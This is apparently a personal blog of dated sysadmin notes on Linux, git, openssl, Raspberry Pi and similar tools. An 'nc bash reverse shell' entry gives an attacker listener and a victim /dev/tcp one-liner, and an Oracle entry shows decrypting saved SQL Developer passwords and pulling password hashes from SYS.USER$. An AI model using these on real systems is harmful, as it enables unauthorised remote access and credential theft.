Jul 15, 2021

Disk

How to check HDD/SSD/USB disk?


Windows

Victoria ( hdd[dot]by/victoria )

MiniTool Partition Wizard ( partitionwizard[dot]com )

Linux

...

Mac OS X

...

Jul 8, 2021

Linux

How to create a systemd service?

Application:

$ cat myapp.sh

#!/usr/bin/bash

echo "I'm a test app" > /tmp/test.file

Service:

$ cat /etc/systemd/system/myapp.service

...

After=network.target

After=mysqld.service

Restart=on-failure

RestartSec=1

Start the service:

$ sudo systemctl start myapp

Start on boot:

$ sudo systemctl enable myapp

How to disable beep speaker?

# temporary

$ sudo rmmod pcspkr

# permanently

$ sudo gedit /etc/modprobe.d/blacklist

    blacklist pcspkr

$ reboot

SSH by key

$ ssh-keygen -t ed25519 -C "new"

$ cat ~/.ssh/config

Host x.x.x.x

  HostName x.x.x.x

  IdentityFile ~/.ssh/new

  IdentitiesOnly yes

  User root

  Port 22

$ ssh x.x.x.x

Jul 6, 2021

CentOS

How to get details about OS version?

$ cat /etc/os-release

$ cat /etc/centos-release

$ uname -a

Jul 5, 2021

HowTo Mac

How to fix a problem with russian characters in console?

Temporary solution: 

$ export LC_ALL=ru_RU.UTF-8
$ export LANG=ru_RU.UTF-8

Permanent solution:

Add env variables to the end of this file: ~/.bash_profile

$ source ~/.bash_profile

Jun 20, 2021

HowTo Install SonarQube

Target OS is Cent OS 7.

Step 1. Install Java

Download RPM Linux x64 RPM Package from oracle.com - jdk-11.0.11_linux-x64_bin.rpm

$ sudo yum -y localinstall jdk-11.0.11_linux-x64_bin.rpm
$ java -version
java version "11.0.11" 2021-04-20 LTS
Java(TM) SE Runtime Environment 18.9 (build 11.0.11+9-LTS-194)
Java HotSpot(TM) 64-Bit Server VM 18.9 (build 11.0.11+9-LTS-194, mixed mode)

Step 2. Install and configure PostgreSQL

Add repository:

$ sudo rpm -Uvh https://download.postgresql.org/pub/repos/yum/9.6/redhat/rhel-7-x86_64/pgdg-centos96-9.6-3.noarch.rpm

Install DB:

$ sudo yum -y install postgresql96-server postgresql96-contrib

Initialize DB:

$ sudo /usr/pgsql-9.6/bin/postgresql96-setup initdb


Feb 2, 2021

Java

1. Download archive with JDK from oracle website.

2. Copy it to special folder

    $ sudo mkdir /usr/java

    $ sudo cp ~/Downloads/jdk-8u281-linux-x64.tar.gz /usr/java

    $ rm ~/Downloads/jdk-8u281-linux-x64.tar.gz

3. Unpack the archive

    $ cd /usr/java

    $ sudo tar xvfz jdk-8u281-linux-x64.tar.gz

    $ sudo rm jdk-8u281-linux-x64.tar.gz

4. Add environment variable

    $ vim ~/.profile

    export JAVA_HOME=/usr/java/jdk1.8.0_281

    export PATH=${PATH}:${JAVA_HOME}/bin

5. Apply changes

    $ source ~/.profile

6. Check JAVA version

     $ java -version

java version "1.8.0_281"

Java(TM) SE Runtime Environment (build 1.8.0_281-b09)

Java HotSpot(TM) 64-Bit Server VM (build 25.281-b09, mixed mode)

Jan 13, 2021

HowTo PyCharm

How to add environment variable?

Run - Edit Configurations - Environment variables

Read it from code:import os
RT_USER = os.environ["rt_user"]

How to install python package?

Settings - Project - Python Interpreter


HowTo Samba


$ sudo apt-get install samba samba-common-bin

$ sudo vim /etc/samba/smb.conf

[samba]
path = /media/2tb 
writeable=Yes 
create mask=0777 
directory mask=0777 
public=no

$ sudo smbpasswd -a pi

$ sudo systemctl restart smbd

How to mount it in Windows:

“Computer” -> “Map network drive”

Disk: Z
Path: \\raspberrypi\samba

How to mount it in Mac OS X:

???


Dec 23, 2020

Vim

Copy, Cut, Paste

Press v to select characters, or uppercase V to select whole lines
Move the cursor to the end of what you want to cut.
Press d to cut (or y to copy).
Move to where you would like to paste.
Press P to paste before the cursor, or p to paste after.

Oct 20, 2020

Burp Suite

How to configure correct russian language in response?

User options - Character Sets - Use a specific character set - CESU-8

How to configure a mitm proxy? 

В настройках браузера установить proxy на 127.0.0.1:8080. В настройках Burp включить proxy: Proxy -> Options -> галочка напротив 127.0.0.1:8080.

Если приложение работает по https, то еще необходимо импортировать сертификат в бразуер.

Сдедать export сертификата из Burp (Proxy -> Options -> Export CA)

Сделать import сертификата в браузер.

Выключить прерывание запросов в Burp: Proxy -> Intercept is off.

На этом этапе веб-приложение должно успешно работать в браузере.

Далее все запросы из браузера будут видны во вкладке Proxy -> HTTP History. Там можно смотреть и реквесты и респонсы.

Для того, чтобы выполнить модифкацию запроса нужно кликнуть по нему правой кнопкой и выбрать "Send to repeater". Перейти во вкладку Repeater и там можно изменять запрос и отправлять его много раз.

Sep 28, 2020

HowTo FAR

####################

F3 - View file

F4 - Edit file

F5 - Copy file / folder

F6 - Move file / folder

F7 - Create new folder

F8 - Delete file / folder (via recycle bin)

####################

Shif­t + F4 - Create file

Shif­t + F6 - Rename file / folder

Shift + Delete - Delete file / folder (without recycle bin)

####################

Alt + F1 - Change drive ( left side)

Alt + F2 - Change drive ( right side)

Alt + F11 - Display view and edit history

Alt + ­F12 - Display folder history

####################

Ctrl + O - Hide/show both panels ( show cmd )

Ctrl + \ - Go to the root folder

Ctrl + Enter - Insert file name to cmd

Sep 17, 2020

How to disable lenovo update notifications

 Open Regedit:

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Lenovo\System Update\Preferences\UserSettings\Scheduler

Set "Frequency" to "No"

Sep 14, 2020

How to decrypt oracle password



SQL Developer:

%APPDATA%\SQL Developer\system*\o.jdeveloper.db.connection*\connections.xml

<StringRefAddr addrType="password">
<Contents>F35q3vdbVrI=</Contents>
</StringRefAddr>

%APPDATA%\SQL Developer\system*\o.sqldeveloper*\product-preferences.xml

<value n="db.system.id" v="3e8efb59-8a5a-4c13-b1d5-ff64f987787f"/>

$ java Decrypt_V4 F35q3vdbVrI= 3e8efb59-8a5a-4c13-b1d5-ff64f987787f

https://github.com/ReneNyffenegger/Oracle-SQL-developer-password-decryptor

$ python sqldeveloperpassworddecryptor.py -d 3e8efb59-8a5a-4c13-b1d5-ff64f987787f -p F35q3vdbVrI=

https://github.com/maaaaz/sqldeveloperpassworddecryptor

++++++++++++++++++

In Oracle 10g and all previous versions, the password is not encrypted at all. It is simply a DES hash that is salted with the username, both of which can be found quite easily in the DBA_USERS view.


In Oracle 11g, if backwards compatibility is not necessary, SHA-1 is used exclusively, uses an unlisted salt, and is a much harder nut to crack.


Question: I need to understand the importance of the spare4 column of the user$ table. This is not documented in Oracle but I understand that spare4 can be used to compromise Oracle passwords. Can you shed some light on the spare4 column?

Answer: Starting in Oracle 11g, the Oracle the hash password is no longer stored in DBA_USERS. Instead, the hash password is stored inside the SYS.USER$ table in the column "password" and "spare4″.

If your password_versions is 11g only then you will need to look in the sys.user$ spare4 column and you will see a much larger hex number. This is because Oracle has switched to the SHA-1 algorithm.

This means that there are different ways password can be set depending on whether "password" and "spare4″ are set in SYS.USER$.

This new SHA-1 algorithm is more secure than the old, and unlike the 10g and lower hashing does not appear to use the username to generate the hash instead a new salt value is added which is stored in the last 20 characters of the SPARE4 hash. It is possible the salt is somehow derived from the username but Oracle has not documented this feature for obvious reasons.


++++++++++++++++

Oracle Password Algorithm (7-10g Rel.2)

Up to 30 characters long. All characters will be converted to uppercase before the hashing starts
8-byte hash, encrypted with a DES encryption algorithm without real salt (just the username).
The algorithm can be found in the book "Special Ops Host And Network Security For Microsoft, Unix, And Oracle" on page 727.

Oracle database 11g offers the (optional) possibility to use passwords up to 30 characters (uppercase/lowercase). In Oracle 11g the passwords are now hashed with DES (column: password) AND using SHA-1 (column: spare4). The SHA-1 passwords are now supporting mixed-case passwords. In 11g the password hashes are no longer available in dba_users.

Oracle (7-10g R2) encrypts the concatenation of (username||password)
and sys/temp1 and system/p1 have the identical hashkey (2E1168309B5B9B7A)
Oracle (11g R1) uses SHA-1 to hash the concatenation of (password||salt)


Location of Oracle password hashes


Database - SYS.USER$ - Password
Oracle Password File
Data File of the system tablespace
(full) Export-Files
archive logs


Show Oracle password hashkey (old DES hash)

You should always select database users from the table not from the views (ALL_USERS, DBA_USERS). An explanation (modification of database views via rootkits) can be found here.


DBA_USERS : SELECT username, password FROM DBA_USERS;
SYS.USER$ : SELECT name,password FROM SYS.USER$ WHERE password is not null;


Show Oracle password hashkey (11g, new SHA-1 hash)

In 11g the password hash is no longer accessible via dba_users


SYS.USER$ : SELECT name,spare4 FROM SYS.USER$ WHERE password is not null;


How to change an Oracle password temporarily?

In Oracle it is possible to change a password temporarily. This can be useful for DBA which act as a different user.

SQL> select username,password from dba_users where username='SCOTT';

USERNAME PASSWORD
-------- ----------------
SCOTT F894844C34402B67

SQL> alter user scott identified by mypassword;


Now login with the following credentials: scott/tiger
After doing your work you can change the password back by using an undocumented feature called "by values"

SQL> alter user scott identified by values 'F894844C34402B67';






Q: How are Oracle passwords encrypted?


A: Oracle passwords are encrypted using the Data Encryption Standard (DES) algorithm to create eight-byte hashes stored in the table SYS.USER$.To create the hash, the username and the password are appended together and broken up into eight-byte pieces.The first eight bytes of the username/password are used as a key to DES encrypt the magic number 0x0123456789ABCDEF.The resulting eight bytes are then encrypted with the next eight bytes of the username/password, resulting in a new eight-byte value.This process is repeated until the entire username/password has been used. One interesting characteristic to note is the “salt” used to create the hash. The salt is actually the username.This adds some additional security in that different users with the same passwords will have different hashes. However, it falls short of a true salt in that the same password will always hash to the same value when used by the same user.

May 21, 2020

HowTo Unix Tools

find and grep

Linux:

$ find / -name jre 2>&1 | grep -v "Permission denied"

$ find / -name jre 2>/dev/null

Solaris:

$ find ./ -type f -exec grep "foo" {} +
$ find ./ -name "name of file" -type f -exec grep "sign of parameter" {} + | grep -v "ignore me"

openssl

Export cert from keystore

$ openssl pkcs12 -in keystore.p12 -out cert.pem -nodes

Show cert details

$ openssl x509 -in cert.pem -text -noout

Export public key from cert

$ openssl x509 -pubkey -noout -in cert.crt > pubkey.pem

Export private key from keystore in pem format

$ openssl pkcs12 -in keystore.p12 -nocerts -nodes -out key.pem

Convert key from pem to der format 

$ openssl rsa -pubin -inform PEM -in pubkey.pem -outform DER -out pubkey.der

$ openssl rsa -pubin -inform PEM -in key.pem -outform DER -out key.der

Decrypt private key

$ openssl rsa -in key.pem -out private.key

Calculate Shake256 hash

$ cat public.key | openssl shake256

nc

listen tcp port:

$ nc -lv <port>

telnet

connect to tcp port:

$ telnet <ip> <port>

finish connect:

Ctrl + ] - go to cmd
telnet> close - close the connection

touch

$ touch -a -m -t 202108180130.09 <file name>

networking

show
$ netstat -rn

show default gw
$ ip route

delete
$ sudo route delete default gw 192.168.88.1 eth1

curl

send post request

$ curl -H "Content-Type: application/json" --data @body.json http://localhost:8080/ui/webapp/conf

send GET request

$ curl http://localhost:8080/ui/webapp/conf

tar

Extract

$ tar -xvzf image.tar.gz

Create

$ tar -czvf image.tar.gz /path/to/dir

Show content

$ tar -ztvf image.tar.gz

dd

Add padding to file

$ dd if=/dev/zero bs=1 count=8 >> public.pad.key

sed

Replace A to B in file

$ cat input.file | sed 's/A/B/g' > output.file

keytool

Show contains

$ keytool -list -v -keystore keystore.jks

Convert keystore in JCEKS format to P12

$ keytool -importkeystore -srckeystore keystore.jks -destkeystore keystore.p12 -srcstoretype jceks -alias mycert

Import key/cert into jceks keystore from other

$ keytool -importkeystore -srckeystore source.jks -destkeystore keystore.jceks -srcstoretype jceks -alias mycert

Change password for key in keystore:

$ keytool -keypasswd -alias mycert -keystore keystore.jks

Delete alias from keystore:

$ keytool -delete -alias mycert -keystore keystore.jks


Jul 19, 2019

How to add a Shared Folder in VirtualBox

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.2 LTS
Release: 18.04
Codename: bionic

$ uname -a
Linux ubuntu-vm 4.18.0-25-generic #26~18.04.1-Ubuntu SMP Thu Jun 27 07:28:31 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Devices > Shared Folders > Settings

Add the Path, Name and enable "Auto-mount" and "Make permanent" options.

Finally add your user to the group vboxsf:

$ sudo usermod -G vboxsf -a <my_user_name>

Logout and back again or reboot the machine.

---

If you plugged in the drive (shared folder) after loading OS you can restart vbox service:

$ sudo systemctl restart vboxadd-service.service

Jul 18, 2019

How to build MKVToolNix from SC

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.2 LTS
Release: 18.04
Codename: bionic

$ uname -a
Linux ubuntu-vm 4.18.0-25-generic #26~18.04.1-Ubuntu SMP Thu Jun 27 07:28:31 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

$ mkdir mkv
$ cd mkv/
$ git clone https://gitlab.com/mbunkus/mkvtoolnix.git
$ cd mkvtoolnix/
$ sudo apt install autoconf
$ sudo apt install rake
$ cd ..
$ git clone https://github.com/Matroska-Org/libebml.git
$ git clone https://github.com/Matroska-Org/libmatroska.git
$ cd libebml/
$ mkdir build
$ cd build/
$ sudo apt install cmake
$ sudo apt install gcc
$ sudo apt install g++
$ cmake ..
$ make
$ sudo make install
$ cd ..
$ cd libmatroska/
$ mkdir build
$ cd build/
$ cmake ..
$ make
$ sudo make install
$ cd ..
$ cd mkvtoolnix/
$ ./autogen.sh
$ sudo apt install libogg-dev
$ sudo apt install libvorbis-dev
$ rake
$ git submodule init
$ git submodule update
$ sudo apt install zlib1g-dev
$ sudo apt install libboost1.65-all-dev
$ sudo apt install docbook-xsl
$ sudo apt install libxslt-dev
$ sudo apt install libxml2-dev
$ sudo apt install libxslt1-dev
$ sudo apt install libxml2
$ sudo apt autoremove
$ sudo apt install xsltproc
$ ./configure
$ rake
$ sudo rake install
$ mkvmerge -h
$ mkvextract -h
$ mkvinfo -h
$ mkvpropedit -h

Jun 22, 2019

Raspberry Pi

First start with raspberry!

1. Download Raspberry Pi OS Lite image

Official site: https://www.raspberrypi.org/software/operating-systems/

2. Copy image to SD card
 

3. First connection

login: pi
password: raspberry

4. Enable SSH

$ sudo update-rc.d ssh defaults
$ sudo su
$ systemctl enable ssh.socket
$ exit
$ sudo reboot

5. Update repositories

$ sudo apt-get update

6. Change keyboard layout

$ sudo raspi-config

Localization Options
    Change Keyboard Layout
        Choose your keyboard or one of the generics
            English (US)

$ sudo reboot

7. Configure wireless network

Fine your AP

$ sudo iwlist wlan1 scan | grep ESSID

Add info about access point to config file

$ vim /etc/wpa_supplicant/wpa_supplicant.conf

network={
  ssid="bla-bla-bla"
  psk="secret password"
}

Set IP address

$ sudo vim /etc/network/interfaces

allow-hotplug wlan0
iface wlan0 inet static
address 192.168.88.8
netmask 255.255.255.0
gateway 192.168.88.1
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

Set country for Wi-Fi (to activate 5Ghz)

via terminal:
$ sudo iw reg get
$ sudo iw reg set US

via raspi-config
$ sudo raspi-config
Localisation Options
  Change Wi-fi Country
    US United States
      OK
        Finish.

8. Install KODI
sudo apt-get install kodi
9. Install torrent client

$ sudo apt-get install transmission-daemon

qbit is better

7. Install vim

$ sudo apt-get install vim

8. Настройка Locale

$ sudo dpkg-reconfigure locales
en_US.UTF-8 UTF-8
ru_RU.UTF-8 UTF-8

In iTerm disable the checkbox "Preferences>Profiles>Default>Advanced>International>Set locale variables automatically on startup"

9. Connect remote usb drive

Identify The Devices Unique ID:
$ cat /var/log/messages | tail
$ sudo fdisk -l /dev/sda
$ ls -l /dev/disk/by-uuid/ | grep sda1

Auto Mount Configure:
$ sudo vim /etc/fstab

UUID=63AB615E7F0C41A6 /media/2tb ntfs-3g auto,nofail,noatime,users,rw,uid=pi,gid=pi 0 0
UUID=66f72624-fda3-0bf6-41f1-1e0d4b1df6b0 /media/4tb ext4 rw,suid,dev,exec,auto,users,nofail 0 0

$ sudo mkdir /media/2tb
$ sudo chown -R pi:pi /media/usb

# for ext4 uid parameters are unavailable. Root permissions will be changed automatically to User permission after mounting.

$ sudo mkdir /media/4tb

$ reboot

10. Настройка transmission

$ sudo systemctl stop transmission-daemon

$ sudo vim /etc/transmission-daemon/settings.json
"upload-limit": 300,
    "upload-limit-enabled": 1,
    "download-dir": "/media/usb/Downloads",
    "download-limit": 1000,
    "download-limit-enabled": 1
"rpc-whitelist": "127.0.0.1,<your-ip>"

$ sudo systemctl start transmission-daemon

11. Подключение к transmission (transmission - transmission)

http://<raspberry-ip>:9091/transmission

########################################

Problem 1: Cannot open access to console, the root account is locked.

1. Mount SD card to windows machine
2. Edit cmdline.txt
    Add to the end of file: init=/bin/bash
3. Start Raspberry Pi
4. Remount root partition to RW:
    $ mount -o remount,rw /dev/mmcblk0p2 /

5. Fix fstab file
    $ vim /etc/fstab

6. Mount SD card to windows machine and remove latest changes in cmdline.txt
7. Start Raspberry Pi

- How to install new locale?

$ sudo vim /etc/locale.gen

uncomment ru_RU.UTF-8, en_US.UTF-8

$ sudo locale-gen ru_RU.UTF-8
$ sudo locale-gen en_US.UTF-8

$ sudo update-locale en_US.UTF-8

#####

Feb 13, 2017

Git

Configuration

Setup name and email

$ git config --global user.name "Ivan Ivanov"
$ git config --global user.email ivanov@example.com

Show current settings

$ git config --list

Disable cert verify (permanently)

$ git config --global http.sslVerify false

Generate key

# RSA (Rivest–Shamir–Adleman)

$ ssh-keygen -b 2048 -t rsa

EdDSA (Edwards-curve Digital Signature Algorithm)

$ ssh-keygen -t ed25519 -C "rokshd@example.org"

Copy key pair to ~/.ssh/

Add key to Git Bash (windows)

Add path to key to config C:\Program Files\Git\etc\ssh\ssh_config

    IdentityFile ~/.ssh/your-ssh-private-key

Basic workflow

Create local repo

$ git init

Download source code from remote repository

$ git clone https://path/to/the/repository.git

Push to remote repositiry

$ git remote add origin git@github.com:path/to/the/repository.git
$ git push -u origin master


Disable cert verify (temporary)

$ git -c http.sslVerify=false clone https://path/to/the/repository.git

Show current branch name

$ git branch

Show names for all branches 

$ git branch -a

Switch to the specific branch

$ git checkout test-branch

Create new branch and switch to it

$ git checkout -b new-branch

Show all commits for the current branch

$ git log
$ git log --graph

Move to the specific commit in the current branch

$ git reset --hard f9de5034ed4f6c1174137d06c85bad637c5c5890

Remove the specific branch

$ git branch -d test_branch

Выполнить слияние какой-либо ветки с текущей веткой

$ git merge master

Просмотр изменений по отношению к последнему коммиту:

$ git status

Добавить файлы, которые были изменены:

$ git add .

Add only the modified and deleted files (without untracked)

$ git add -u

Удалить файлы из отслеживаемых:

$ git rm -r --cached .idea/misc.xml

Создать коммит:

$ git commit -m "Commit description"

Добавить внешний репозиторий:

$ git remote add origin https://github.com/rokshd/test_app

Залить последние изменения на внешний репозиторий:

$ git push origin master
$ git push -u origin master (след. раз можно git push для данной ветки)
$ git push

Слить последние изменения из репозитория для указанной ветки:

$ git pull origin test-branch
$ git pull

Отменить изменения для конкретного файла:

$ git checkout db/migrate/20170224101945_create_answers.rb

$ git stash list

$ git stash apply

$ git pull

To unstage a specific file

$ git reset <file>

REBASE

After committing changes to your branch, checkout master and pull it to get its latest changes from the repo

$ git checkout master
$ git pull origin master

Then checkout your branch and rebase your changes on master

$ git checkout RB
$ git rebase master... 

or last two commands in one line:

$ git rebase master RB

Jan 6, 2017

HTTP Web Server - Python

Python 2 - CLI

$ python -m SimpleHTTPServer 8080

Python 3 - CLI

$ python -m http.server 8080

Python 3

Generate Cert

$ openssl req -new -x509 -keyout cert.pem -out cert.pem -days 365 -nodes

Create web server

$ vim ws.py
import http.server, ssl

server_address = ('192.168.0.1', 8443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,server_side=True,certfile='cert.pem',ssl_version=ssl.PROTOCOL_TLSv1_2)
httpd.serve_forever()
$ python3 ws.py

Dec 5, 2016

How to operate with base64

Encode file:
$ base64 message.file > message.file.base64

Decode file:
$ base64 --decode message.file.base64 > message.file

Encode string:
$ echo "open message" | base64 > message.base64

Decode string:
$ echo "b3BlbiBtZXNzYWdlCg==" | base64 --decode > message.file

How to modify text files

Remove newline (\n) character:
$ tr -d "\n" < file.original > file.new

Replace newline (\n) character:
$ tr "\n" " " < file.original > file.new

Aug 15, 2016

bash prompt setup

Mac: ~/.bash_profile

Ubuntu: ~/.bashrc


export PATH="$PATH:$HOME/.rvm/bin"
source ~/.rvm/scripts/rvm

parse_git_branch() {
     git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/'

}

export PS1="\[\033[36m\]\u@\h \[\033[32m\]\W\[\033[33m\]\$(parse_git_branch)\[\033[00m\] $ "

Aug 13, 2016

ruby hex to dec and dec to hex

$ irb

irb(main):001:0> "ff".to_i 16
=> 255

irb(main):004:0> 255.to_s 16
=> "ff"

irb(main):007:0> "ff".hex
=> 255


bash color

export PS1="\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ "
export CLICOLOR=1
export LSCOLORS=ExFxBxDxCxegedabagacad

alias ll='ls -lah'

alias cl='clear'

vim syntax color

echo "syntax on" > ~/.vimrc

Jul 13, 2016

flash disk recovery

$ sudo fdisk -l

$ sudo fdisk /dev/sdc

> d (delete partitions)
> n (new partition - primary)
> w (write changes)

$ sudo lsblk /dev/sdc1

$ sudo mkfs.vfat /dev/sdc1

$ sudo eject /dev/sdc

Jul 9, 2016

extract subtitles from mkv

$ brew install mkvtoolnix

$ mkvmerge -i <file>

$ mkvextract tracks <file> 3:sub3.srt 4:sub4.srt

Jul 8, 2016

nc bash reverse shell

attacker:
$  nc -n -vv -l -p <port>

victim:
$ /bin/bash -i > /dev/tcp/<ip>/<port> 0<&1 2>&1

May 24, 2016

objdump tool


Install the command line tools:
$ brew install binutils

Print out shared library dependencies:
$ otool -L <file> ( ldd <file> )

Disassemble the text section:
$ otool -tV ( objdump -j .text -d <file> )

Dump the contents of the data section:
$ otool -dv <file> ( objdump -j .data -s <file> )

Mar 10, 2016

bash head tail

get a header:

$ cat myfile | head -c 1024 > file.new

get a header with offset:

$ cat myfile | tail -c +4096 | head -c 1024 > test.new

Feb 17, 2016

wireshark

Installation: sudo apt-get install wireshark

Problem: "There are no interfaces on which a capture can be done."

Solution:

sudo groupadd wireshark
sudo usermod -a -G wireshark $USER
sudo chgrp wireshark /usr/bin/dumpcap
sudo chmod 755 /usr/bin/dumpcap
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

Kubernetes

kubectl installation $ curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl...